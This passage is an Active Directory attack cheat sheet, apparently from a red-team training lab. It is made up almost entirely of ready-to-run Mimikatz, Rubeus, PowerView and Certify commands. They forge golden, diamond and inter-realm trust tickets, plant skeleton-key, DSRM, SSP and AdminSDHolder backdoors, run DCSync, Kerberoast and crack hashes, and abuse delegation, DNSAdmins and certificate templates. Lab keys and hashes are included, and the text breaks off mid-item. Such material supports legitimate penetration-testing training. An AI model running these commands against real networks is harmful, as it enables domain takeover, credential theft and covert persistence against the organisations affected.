Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:<domain> /sid:<domain sid> /target:<target> /service:RPCSS /rc4:<local computer hash> /user:Administrator /ptt"'

Diamond Ticket (Better Golden Ticket)

• We would still need krbtgt AES keys. Use the following Rubeus command to create a diamond ticket (note that RC4 or AES keys of the user can be used too):

Rubeus.exe diamond /krbkey:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848/user:studentx /password:StudentxPassword /enctype:aes /ticketuser:administrator /domain:dollarcorp.moneycorp.local /dc:dcorp-dc.dollarcorp.moneycorp.local /ticketuserid:500 /groups:512 /createnetonly:C:\Windows\System32\cmd.exe /show /ptt

• We could also use /tgtdeleg option in place of credentials in case we have access as a domain user:

Rubeus.exe diamond /krbkey:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848 /tgtdeleg /enctype:aes /ticketuser:administrator /domain:dollarcorp.moneycorp.local /dc:dcorp- dc.dollarcorp.moneycorp.local /ticketuserid:500 /groups:512 /createnetonly:C:\Windows\System32\cmd.exe /show /ptt

Skeleton Key (patch a Domain Controller) (Dangerous)

• Use the below command to inject a skeleton key (password would be mimikatz) on a Domain Controller of choice. DA privileges required

Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <target>

• Now, it is possible to access any machine with a valid username and password as "mimikatz"

Enter-PSSession -Computername dcorp-dc -credential dcorp\Administrator

• In case lsass is running as a protected process, we can still use Skeleton Key but it needs the mimikatz driver (mimidriv.sys) on disk of the target DC(very noisy):

mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton
mimikatz # !-

DSRM

• DSRM is Directory Services Restore Mode.

• There is a local administrator on every DC called "Administrator" whose password is the DSRM password.

• DSRM password (SafeModePassword) is required when a server is promoted to Domain Controller and it is rarely changed.

• After altering the configuration on the DC, it is possible to pass the NTLM hash of this user to access the DC.

• Dump DSRM password (needs DA privs)

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername dcorp-dc

• Compare the Administrator hash with the Administrator hash of below command

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername dcorp-dc

• Change login behavior for the local admin on the DC

New-ItemProperty “HKLM:\System\CurrentControlSet\Control\Lsa\” -Name “DsrmAdminLogonBehavior” -Value 2 -PropertyType DWORD

• If property already exists

Set-ItemProperty “HKLM:\System\CurrentControlSet\Control\Lsa\” -Name “DsrmAdminLogonBehavior” -Value 2

• Pass the hash for local admin

Invoke-Mimikatz -Command '"sekurlsa::pth /domain:<computer> /user:Administrator /ntlm:<hash> /run:powershell.exe"'

ls \\dcorp-dc\C$

Custom SSP (mimilib.dll) (Dangerous)

• We can use either of the ways:

  1. Drop the mimilib.dll to system32 and add mimilib to HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages:

$packages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages'| select -ExpandProperty 'Security Packages'

$packages += "mimilib"

Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages' -Value $packages

Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name 'Security Packages' -Value $packages
  1. Using mimikatz, inject into lsass (Not super stable with Server 2019 and Server 2022 but still usable):

Invoke-Mimikatz -Command '"misc::memssp"'

• All local logons on the DC are logged to C:\Windows\system32\mimilsa.log

ACL - AdminSDHolder

• Resides in the System container of a domain and used to control the permissions - using an ACL - for certain built-in privileged groups (called Protected Groups).

• Security Descriptor Propagator (SDPROP) runs every hour and compares the ACL of protected groups and members with the ACL of AdminSDHolder and any differences are overwritten on the object ACL. • With DA privileges (Full Control/Write permissions) on the AdminSDHolder object, it can be used as a backdoor/persistence mechanism by adding a user with Full Permissions (or other interesting permissions) to the AdminSDHolder object.

• In 60 minutes (when SDPROP runs), the user will be added with Full Control to the AC of groups like Domain Admins without actually being a member of it.

• Add FullControl permissions for a user to the AdminSDHolder using PowerView as DA:

Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,dc-dollarcorp,dc=moneycorp,dc=local' -PrincipalIdentity student1 -Rights All -PrincipalDomain dollarcorp.moneycorp.local -TargetDomain dollarcorp.moneycorp.local -Verbose

Add-ObjectAcl -TargetADSprefix ‘CN=AdminSDHolder,CN=System’ PrincipalSamAccountName <username> -Rights All -Verbose
Set-DCPermissions -Method AdminSDHolder -SAMAccountName student1 -Right GenericAll -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' -Verbose

• Other interesting permissions (ResetPassword, WriteMembers) for a user in the AdminSDHolder:

Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,dc=dollarcorp,dc=moneycorp,dc=local' -PrincipalIdentity student1 -Rights ResetPassword -PrincipalDomain dollarcorp.moneycorp.local -TargetDomain dollarcorp.moneycorp.local -Verbose

Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,dc-dollarcorp,dc=moneycorp,dc=local' -PrincipalIdentity student1 -Rights WriteMembers -PrincipalDomain dollarcorp.moneycorp.local -TargetDomain dollarcorp.moneycorp.local -Verbose

• Run SDProp manually using Invoke-SDPropagator.ps1 from Tools directory:

Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose

• For pre-Server 2008 machines:

Invoke-SDPropagator -taskname FixUpInheritance -timeoutMinutes 1 -showProgress -Verbose

• Check the Domain Admins permission - PowerView as normal user:

Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs | ForEach-Object {$_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName$_.SecurityIdentifier);$_} | ?{$_.IdentityName -match "student1"}

Get-ObjectAcl -SamaccountName “Domain Admins” –ResolveGUIDS | ?{$_.identityReference -match ‘<username>’}

• Using ActiveDirectory Module:

(Get-Acl -Path 'AD:\CN=Domain Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local').Access | ?{$_.IdentityReference -match 'student1'}

•Add user to domain admin group

Add-DomainGroupMember -Identity ‘Domain Admins’ -Members <username> -Verbose

Net group "domain admins" sportless /add /domain

• Abusing FullControl using PowerView:

Add-DomainGroupMember -Identity 'Domain Admins' -Members testda -Verbose

• Using ActiveDirectory Module:

Add-ADGroupMember -Identity 'Domain Admins' -Members testda

• Abusing ResetPassword using PowerView:

Set-DomainUserPassword -Identity testda -AccountPassword (ConvertTo-SecureString "Password@123" -AsPlainText -Force) -Verbose

• Using ActiveDirectory Module:

Set-ADAccountPassword -Identity testda -NewPassword (ConvertTo-SecureString "Password@123" -AsPlainText -Force) -Verbose

Rights Abuse (DCSync)

• With DA privileges, the ACL for the domain root can be modified to provide useful rights like FullControl or the ability to run "DCSync".

•Check if student has replication rights

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ? {($_.IdentityReference -match "<username>") -and (($_.ObjectType -match 'replication') -or ($_.ActiveDirectoryRights -match 'GenericAll'))}

• Add FullControl rights:

Add-DomainObjectAcl -TargetIdentity 'DC=dollarcorp,DC=moneycorp,DC=local' -PrincipalIdentity student1 -Rights All -PrincipalDomain dollarcorp.moneycorp.local -TargetDomain dollarcorp.moneycorp.local -Verbose

Add-ObjectAcl -TargetDistinguishedName ‘DC=dollarcorp,DC=moneycorp,DC=local’ -PrincipalSamAccountName <username> -Rights All -Verbose

• Using ActiveDirectory Module and RACE:

Set-ADACL -SamAccountName studentuser1 -DistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -Right GenericAll -Verbose

• Add rights for DCSync:

Add-DomainObjectAcl -TargetIdentity 'DC=dollarcorp,DC=moneycorp,DC=local' -PrincipalIdentity student1 -Rights DCSync -PrincipalDomain dollarcorp.moneycorp.local -TargetDomain dollarcorp.moneycorp.local -Verbose

Add-ObjectAcl -TargetDistinguishedName ‘DC=dollarcorp,DC=moneycorp,Dc=local’ -PrincipalSamAccountName <username> -Rights DCSync -Verbose

• Using ActiveDirectory Module and RACE:

Set-ADACL -SamAccountName studentuser1 -DistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -GUIDRight DCSync -Verbose

• Execute DCSync:

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

C:\AD\Tools\SafetyKatz.exe "lsadump::dcsync /user:dcorp\krbtgt" "exit"

Security Descriptors

WMI

			. ./Set-RemoteWMI.ps1

• On a local machine

Set-RemoteWMI -Username <username> -Verbose

Set-RemoteWMI -SamAccountName student1 -Verbose

• On a remote machine without explicit credentials

Set-RemoteWMI -Username <username> -Computername <computername> -namespace ‘root\cimv2’ -Verbose

Set-RemoteWMI -SamAccountName student1 -ComputerName dcorp-dc -namespace 'root\cimv2' -Verbose

•On a remote machine with explicit credentials(Only root/cimv and nested namespaces)

Set-RemoteWMI -Username <username> -Computername <computername> -Credential Administrator -namespace ‘root\cimv2’ -Verbose

Set-RemoteWMI -SamAccountName student1 -ComputerName dcorp-dc -Credential Administrator -namespace 'root\cimv2' -Verbose

•On remote machine remove permissions

Set-RemoteWMI -Username <username> -Computername <computername> -namespace ‘root\cimv2’ -Remove -Verbose

Set-RemoteWMI -SamAccountName student1 -ComputerName dcorp-dc-namespace 'root\cimv2' -Remove -Verbose

Powershell Remoting

			. ./Set-RemotePSRemoting.ps1

• On a local machine

Set-RemotePSRemoting -Username <username> -Verbose

Set-RemotePSRemoting -SamAccountName student1 -Verbose

•On a remote machine without credentials

Set-RemotePSRemoting -Username <username> -Computername <computername> -Verbose

Set-RemotePSRemoting -SamAccountName student1 -ComputerName dcorp-dc -Verbose

•On a remote machine remove permissions

Set-RemotePSRemoting -Username <username> -Computername <computername> -Remove

Set-RemotePSRemoting -SamAccountName student1 -ComputerName dcorp-dc -Remove

Remote Registry

Using the RACE or DAMP toolkit

	. ./Add-RemoteRegBackdoor
	. ./RemoteHashRetrieval

•Using DAMP with admin privs on remote machine

Add-RemoteRegBackdoor -Computername <computername> -Trustee <username> -Verbose

•Retrieve machine account hash from local machine

Get-RemoteMachineAccountHash -Computername <computername> -Verbose

•Retrieve local account hash from local machine

Get-RemoteLocalAccountHash -Computername <computername> -Verbose

•Retrieve domain cached credentials from local machine

Get-RemoteCachedCredential -Computername <computername> -Verbose

Domain Privilege Escalation

Kerberoasting

• Find user accounts used as Service accounts

ActiveDirectory module-
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

PowerView -
Get-DomainUser -SPN

. ./GetUserSPNs.ps1
Get-NetUser -SPN
Get-NetUser -SPN | select samaccountname,serviceprincipalname

• Use Rubeus to list Kerberoast stats

Rubeus.exe kerberoast /stats

• Use Rubeus to request a TGS

Rubeus.exe kerberoast /user:svcadmin /simple

• To avoid detections based on Encryption Downgrade for Kerberos EType (used by likes of MDI - 0x17 stands for rc4-hmac), look for Kerberoastable accounts that only support RC4_HMAC

Rubeus.exe kerberoast /stats /rc4opsec

Rubeus.exe kerberoast /user:svcadmin /simple /rc4opsec

• Kerberoast all possible accounts

Rubeus.exe kerberoast /rc4opsec /outfile:hashes.txt

• Crack ticket using John the Ripper

john.exe --wordlist=C:\AD\Tools\kerberoast\10k-worst-pass.txt C:\AD\Tools\hashes.txt

• Reguest a TGS

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"

Request-SPNTicket "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"

. .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -Identity svcadmin

• Export ticket using Mimikatz

Invoke-Mimikatz -Command '"Kerberos::list /export"'

• Crack the ticket

python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\2-40a10000-student1@MSSQLSvc~dcorp-mgmt.dollarcorp.moneycorp.local-DOLLARCORP.MONEYCORP.LOCAL.kirbi

.\hashcat.exe -m 18200 -a 0 <HASH FILE> <WORDLIST>

AS-REProasting

• If a user's UserAccountControl settings have "Do not require Kerberos preauthentication" enabled i.e. Kerberos preauth is disabled, it is possible to grab user's crackable AS-REP and brute-force it offline.

• With sufficient rights (GenericWrite or GenericAll), Kerberos preauth can be forced disabled as well.

• Enumerating accounts with Kerberos Preauth disabled

  1. Using PowerView:

Get-DomainUser -PreauthNotRequired -Verbose

Get-DomainUser -PreauthNotRequired -verbose | select samaccountname
  1. Using ActiveDirectory module:

Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth

• Force disable Kerberos Preauth: • Let's enumerate the permissions for RDPUsers on ACLs using PowerView:

Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}

Set-DomainObject -Identity Control1User -XOR @{useraccountcontrol=4194304} -Verbose

Get-DomainUser -PreauthNotRequired -Verbose

Invoke-ACLScanner -ResolveGUIDS | Where-Object {$_.IdentityReference -match “<groupname>”}

Invoke-ACLScanner -ResolveGUIDS | Where-Object {$_.IdentityReference -match “<groupname>”} | select IdentityReference, ObjectDN, ActiveDirectoryRights | fl

• Request encrypted AS-REP

. ./ASREPRoast.ps1

Get-ASREPHash -Username <username> -Verbose

• Enumerate all users with kerberos preauth disabled and request a hash

Invoke-ASREPRoast -Verbose

Invoke-ASREPRoast -Verbose | fl

• Cracking the hash

john.exe --wordlist=C:\AD\Tools\kerberoast\10k-worst-pass.txt C:\AD\Tools\asrephashes.txt

Hashcat -a 0 -m 18200 hash.txt rockyou.txt

Set SPN

• With enough rights (GenericAll/GenericWrite), a target user's SPN can be set to anything (unique in the domain).

• We can then request a TGS without special privileges. The TGS can then be "Kerberoasted".

• Let's enumerate the permissions for RDPUsers on ACLs using PowerView:

Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}

Invoke-ACLScanner -ResolveGUIDS | Where-Object {$_.IdentityReference -match “<groupname>”}

Invoke-ACLScanner -ResolveGUIDS | Where-Object {$_.IdentityReference -match “<groupname>”} | select IdentityReference, ObjectDN, ActiveDirectoryRights | fl

• Using Powerview, see if the user already has a SPN:

Get-DomainUser -Identity supportuser | select serviceprincipalname

Get-DomainUser -Identity <username> | select samaccountname, serviceprincipalname

Get-NetUser | Where-Object {$_.servicePrincipalName}

• Using ActiveDirectory module:

Get-ADUser -Identity supportuser -Properties ServicePrincipalName | select ServicePrincipalName

• Set a SPN for the user (must be unique for the domain)

Set-DomainObject -Identity support1user -Set @{serviceprincipalname=‘dcorp/whatever1'}

• Using ActiveDirectory module:

Set-ADUser -Identity support1user -ServicePrincipalNames @{Add=‘dcorp/whatever1'}

•Request a TGS

Add-Type -AssemblyName System.IdentityModel 

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ops/whatever1"

•Export ticket to disk for offline cracking

Invoke-Mimikatz -Command '"Kerberos::list /export"'

•Request TGS hash for offline cracking hashcat

Get-DomainUser -Identity <username> | Get-DomainSPNTicket | select -ExpandProperty Hash

•Crack the hash with hashcat.(Edit the hash by inserting '23' after the , so .....)

Hashcat -a 0 -m 18200 hash.txt rockyou.txt

OR • Kerberoast the user

Rubeus.exe kerberoast /outfile:targetedhashes.txt

john.exe --wordlist=C:\AD\Tools\kerberoast\10k-worst-pass.txt C:\AD\Tools\targetedhashes.txt

Kerberos Delegation

• Kerberos Delegation allows to "reuse the end-user credentials to access resources hosted on a different server".

• This is typically useful in multi-tier service or applications where Kerberos Double Hop is required.

• Please note that, for the above example, the service account for web service must be trusted for delegation to be able to make requests as a user.

Unconstrained

• When set for a particular service account, unconstrained delegation allows delegation to any service to any resource on the domain as a user.

• When unconstrained delegation is enabled, the DC places user's TGT inside TGS (Step 4 in the previous diagram). When presented to the server with unconstrained delegation, the TGT is extracted from TGS and stored in LSASS. This way the server can reuse the user's TGT to access any other resource as the user.

• This could be used to escalate privileges in case we can compromise the computer with unconstrained delegation and a Domain Admin connects to that machine.

  1. Discover domain computers which have unconstrained delegation enabled using PowerView:

Get-DomainComputer -UnConstrained

Get-Netcomputer -UnConstrained

Get-Netcomputer -UnConstrained | select samaccountname
  1. Using ActiveDirectory module:

Get-ADComputer -Filter {TrustedForDelegation -eq $True}

Get-ADUser -Filter {TrustedForDelegation -eq $True}
  1. Compromise the server(s) where Unconstrained delegation is enabled. We must trick or wait for a domain admin to connect a service on appsrv.

  2. Now, if the command is run again:

Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
  1. The DA token could be reused:

Invoke-Mimikatz -Command '"kerberos::ptt <kirbi file>"'
  1. To force a high-privilege user to connect to a machine we can abuse the printer bug.

  2. We can capture the TGT of dcorp-dc$ by using Rubeus on dcorp-appsrv:

Rubeus.exe monitor /interval:5 /nowrap /targetuser:DCORP-DC$
MS-RPRN.exe \\dcorp-dc.dollarcorp.moneycorp.local\\dcorp-appsrv.dollarcorp.moneycorp.local
  1. • Copy the base64 encoded TGT, remove extra spaces (if any) and use it on the student VM:

Rubeus.exe ptt /ticket:

• Once the ticket is injected, run DCSync:

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

Constrained Delegation

• Constrained Delegation when enabled on a service account, allows access only to specified services on specified computers as a user.

• Enumerate users and computers with constrained delegation enabled • Using PowerView

Get-DomainUser -TrustedToAuth

Get-DomainComputer -TrustedToAuth

• Using ActiveDirectory module:

Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo

For user

Abusing with Kekeo • Either plaintext password or NTLM hash/AES keys is required. We already have access to websvc's hash from dcorp-adminsrv • Using asktgt from Kekeo, we request a TGT (steps 2 & 3 in the diagram):

kekeo# tgt::ask /user:websvc /domain:dollarcorp.moneycorp.local /rc4:cc098f204c5887eaa8253e7c2749156f

• Using s4u from Kekeo, we request a TGS (steps 4 & 5):

tgs::s4u /tgt:TGT_websvc@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:cifs/dcorp-mssql.dollarcorp.moneycorp.LOCAL

• Using mimikatz, inject the ticket:

Invoke-Mimikatz -Command '"kerberos::ptt <kirbi file>"'

ls \\dcorp-mssql.dollarcorp.moneycorp.local\c$

Abusing with Rubeus • We can use the following command (We are requesting a TGT and TGS in a single command):

Rubeus.exe s4u /user:websvc /aes256:2d84a12f614ccbf3d716b8339cbbe1a650e5fb352edc8e879470ade07e5412d7 /impersonateuser:Administrator /msdsspn:CIFS/dcorp-mssql.dollarcorp.moneycorp.LOCAL /ptt

ls \\dcorp-mssql.dollarcorp.moneycorp.local\c$

For computers

Abusing with Kekeo • Either plaintext password or NTLM hash is required. If we have access to dcorp-adminsrv hash

• Using asktgt from Kekeo, we request a TGT:

tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:1fadb1b13edbc5a61cbdc389e6f34c67

• Using s4u from Kekeo_one (no SNAME validation):

tgs::s4u /tgt:<kirbi file> /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorp-dc.dollarcorp.moneycorp.LOCAL

• Using mimikatz:

Invoke-Mimikatz -Command '"kerberos::ptt <kirbi file>"'

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

Abusing with Rubeus • We can use the following command (We are requesting a TGT and TGS in a single command):

Rubeus.exe s4u /user:dcorp-adminsrv$ /aes256:db7bd8e34fada016eb0e292816040a1bf4eeb25cd3843e041d0278d30dc1b445 /impersonateuser:Administrator /msdsspn:time/dcorp-dc.dollarcorp.moneycorp.LOCAL /altservice:ldap /ptt

• After injection, we can run DCSync:

C:\AD\Tools\SafetyKatz.exe "lsadump::dcsync /user:dcorp\krbtgt" "exit"

Resource-based

• To abuse RBCD in the most effective form, we just need two privileges.

  1. Write permissions over the target service or object to configure msDS-AllowedToActOnBehalfOfOtherIdentity.

  2. Control over an object which has SPN configured (like admin access to a domain joined machine or ability to join a machine to domain - ms-DS-MachineAccountQuota is 10 for all domain users)

• Enumeration would show that the user 'ciadmin' has Write permissions over the dcorp-mgmt machine

Find-InterestingDomainACL | ?{$_.identityreferencename - match 'ciadmin'}

• Using the ActiveDirectory module, configure RBCD on dcorp-mgmt for student machines :

$comps = 'dcorp-student1$','dcorp-student2$'

Set-ADComputer -Identity dcorp-mgmt -PrincipalsAllowedToDelegateToAccount $comps

• Now, let's get the privileges of dcorp-studentx$ by extracting its AES keys:

Invoke-Mimikatz -Command '"sekurlsa::ekeys"'

• Use the AES key of dcorp-studentx$ with Rubeus and access dcorp-mgmt as ANY user we want:

Rubeus.exe s4u /user:dcorp-student1$ /aes256:d1027fbaf7faad598aaeff08989387592c0d8e0201ba453d83b9e6b7fc7897c2 /msdsspn:http/dcorp-mgmt /impersonateuser:administrator /ptt

winrs -r:dcorp-mgmt cmd.exe

DNS Admins

• Enumerate member of the DNS admin group

Get-NetGRoupMember “DNSAdmins”

• From the privilege of DNSAdmins group member, configue DDL using dnscmd.exe (needs RSAT DNS). Share the directory the ddl is in for everyone so its accessible. logs all DNS queries on C:\Windows\System32\kiwidns.log

Dnscmd <dns server> /config /serverlevelplugindll \\<ip>\dll\mimilib.dll

• Restart DNS

Sc \\<dns server> stop dns
Sc \\<dns server> start dns

Cross-Domain(Child-Parent) Privilege Escalation

Using Trust Tickets

• So, what is required to forge trust tickets is, obviously, the trust key. Look for [In] trust key from child to parent.

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dcorp-dc

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'

Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

• We can forge an inter-realm TGT:

C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /sids:S-1-5-21-335606122-960912869-3279953914-519 /rc4:e9ab2e57f6397c19b62476e98e9521ac /service:krbtgt /target:moneycorp.local /ticket:C:\AD\Tools\trust_tkt.kirbi" "exit"

Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:<domain> /sid:<sid of current domain> /sids:<sid of enterprise admin groups of the parent domain> /rc4:<trust hash> /service:krbtgt /target:<target domain> /ticket:<path to save ticket>"'

Abuse with Kekeo • Get a TGS for a service (CIFS below) in the target domain by using the forged trust ticket.

.\asktgs.exe C:\AD\Tools\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local

• Use the TGS to access the targeted service.

.\kirbikator.exe lsa .\CIFS.mcorp-dc.moneycorp.local.kirbi 

ls \\mcorp-dc.moneycorp.local\c$

• Tickets for other services (like HOST and RPCSS for WMI, HTTP for PowerShell Remoting and WinRM) can be created as well.

Abuse with Rubeus • Note that we are still using the TGT forged initially

Rubeus.exe asktgs /ticket:C:\AD\Tools\kekeo_old\trust_tkt.kirbi /service:cifs/mcorp-dc.moneycorp.local /dc:mcorp- dc.moneycorp.local /ptt

ls \\mcorp-dc.moneycorp.local\c$

Using Krbtgt Hashes

• We will abuse sIDhistory once again

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername <computername>

C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /sids:S-1-5-21-335606122-960912869-3279953914-519 /krbtgt:4e9815869d2090ccfca61c1fe0d23986 /ptt" "exit"

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<domain> /sid:<sid> /sids:<sids> /krbtgt:<hash> /ticket:<path to save ticket>"'

• In the above command, the mimkatz option "/sids" is forcefully setting the sIDHistory for the Enterprise Admin group for dollarcorp.moneycorp.local that is the Forest Enterprise Admin Group.

•Get SID of enterprise admin

Get-NetGroup -Domain <domain> -GroupName "Enterprise Admins" -FullData | select samaccountname, objectsid

• On any machine of the current domain

Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'

ls \\mcorp-dc.moneycorp.local.kirbi\c$

gwmi -class win32_operatingsystem -ComputerName mcorp-dc.moneycorp.local

C:\AD\Tools\SafetyKatz.exe "lsadump::dcsync /user:mcorp\krbtgt /domain:moneycorp.local" "exit"

• Avoid suspicious logs by using Domain Controllers group

C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden /user:dcorp-dc$ /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /groups:516 /sids:S-1-5-21-280534878-1496970234-700767426-516,S-1-5-9 /krbtgt:4e9815869d2090ccfca61c1fe0d23986 /ptt" "exit"

C:\AD\Tools\SafetyKatz.exe "lsadump::dcsync /user:mcorp\krbtgt /domain:moneycorp.local" "exit"

• S-1-5-21-2578538781-2508153159-3419410681-516 - Domain Controllers • S-1-5-9 - Enterprise Domain Controllers


Cross-Forest Privilege Escalation

Trust Abuse

• We require the trust key for the inter-forest trust.

Invoke-Mimikatz -Command '"lsadump::trust /patch"'

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -Computername <computername>

Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'

• An inter-forest TGT can be forged

C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /rc4:2756bdf7dd8ba8e9c40fe60f654115a0 /service:krbtgt /target:eurocorp.local /ticket:C:\AD\Tools\trust_forest_tkt.kirbi" "exit"

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<domain> /sid:<domain sid> /rc4:<hash of trust> /service:krbtgt /target:<target> /ticket:<path to save ticket>"'

Abuse with Kekeo

• Get a TGS for a service (CIFS below) in the target domain by using the forged trust ticket.

./asktgs.exe <kirbi file> CIFS/<crossforest dc name>

• Use the TGS to access the targeted service.

.\kirbikator.exe lsa .\CIFS.eurocorp-dc.eurocorp.local.kirbi

ls \\eurocorp-dc.eurocorp.local\SharedwithDCorp\

• Tickets for other services (like HOST and RPCSS for WMI, HTTP for PowerShell Remoting and WinRM) can be created as well.

Abuse with Rubeus

• Using the same TGT which we forged earlier:

Rubeus.exe asktgs /ticket:C:\AD\Tools\kekeo_old\trust_forest_tkt.kirbi /service:cifs/eurocorp-dc.eurocorp.local /dc:eurocorp-dc.eurocorp.local /ptt

ls \\eurocorp-dc.eurocorp.local\SharedwithDCorp\
Certify.exe cas

• Enumerate the templates.:

Certify.exe find

• Enumerate vulnerable templates:

Certify.exe find /vulnerable

• Convert pem to pfx -

C:\AD\Tools\openssl\openssl.exe pkcs12 -in C:\AD\Tools\esc3-DA.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out C:\AD\Tools\esc3-DA.pfx

ESC1

• The template "HTTPSCertificates" has ENROLLEE_SUPPLIES_SUBJECT value for msPKI-Certificates-Name-Flag.

Certify.exe find /enrolleeSuppliesSubject

• The template "HTTPSCertificates" allows enrollment to the RDPUsers group. Request a certificate for DA (or EA) as studentx

Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA /template:"HTTPSCertificates" /altname:administrator

• Convert from cert.pem to pfx (esc1.pfx below) and use it to request a TGT for DA (or EA).

Rubeus.exe asktgt /user:administrator /certificate:esc1.pfx /password:SecretPass@123 /ptt

ESC3

• The template "SmartCardEnrollment-Agent" allows Domain users to enroll and has "Certificate Request Agent" EKU.

Certify.exe find /vulnerable

• The template "SmartCardEnrollment-Users" has an Application Policy Issuance Requirement of Certificate Request Agent and has an EKU that allows for domain authentication. Search for domain authentication EKU:

Certify.exe find /json /outfile:C:\AD\Tools\file.json 
((Get-Content C:\AD\Tools\file.json | ConvertFrom- Json).CertificateTemplates | ? {$_.ExtendedKeyUsage -contains "1.3.6.1.5.5.7.3.2"}) | fl *

Escalation to DA • We can now request a certificate for Certificate Request Agent from "SmartCardEnrollment-Agent" template.

Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA /template:SmartCardEnrollment-Agent

• Convert from cert.pem to pfx (esc3agent.pfx below) and use it to request a certificate on behalf of DA using the "SmartCardEnrollment-Users" template.

Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA /template:SmartCardEnrollment-Users /onbehalfof:dcorp\administrator /enrollcert:esc3agent.pfx /enrollcertpw:SecretPass@123

• Convert from cert.pem to pfx (esc3user-DA.pfx below), request DA TGT and inject it:

Rubeus.exe asktgt /user:administrator /certificate:esc3user-DA.pfx /password:SecretPass@123 /ptt

Escalation to EA • Convert from cert.pem to pfx (esc3agent.pfx below) and use it to request a certificate on behalf of EA using the "SmartCardEnrollment-Users" template.

Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA /template:SmartCardEnrollment-Users /onbehalfof:moneycorp.local\administrator /enrollcert:esc3agent.pfx /enrollcertpw:SecretPass@123

• Request EA TGT and inject it:

Rubeus.exe asktgt /user:moneycorp.local\administrator /certificate:esc3user.pfx /dc:mcorp-dc.moneycorp.local /password:SecretPass@123 /ptt

ESC6

• The CA in moneycorp has EDITF_ATTRIBUTESUBJECTALTNAME2 flag set. This means that we can request a certificate for ANY user from a template that allow enrollment for normal/low-privileged users.

Certify.exe find

• The template "CA-Integration" grants enrollment to the RDPUsers group. Request a certificate for DA (or EA) as studentx

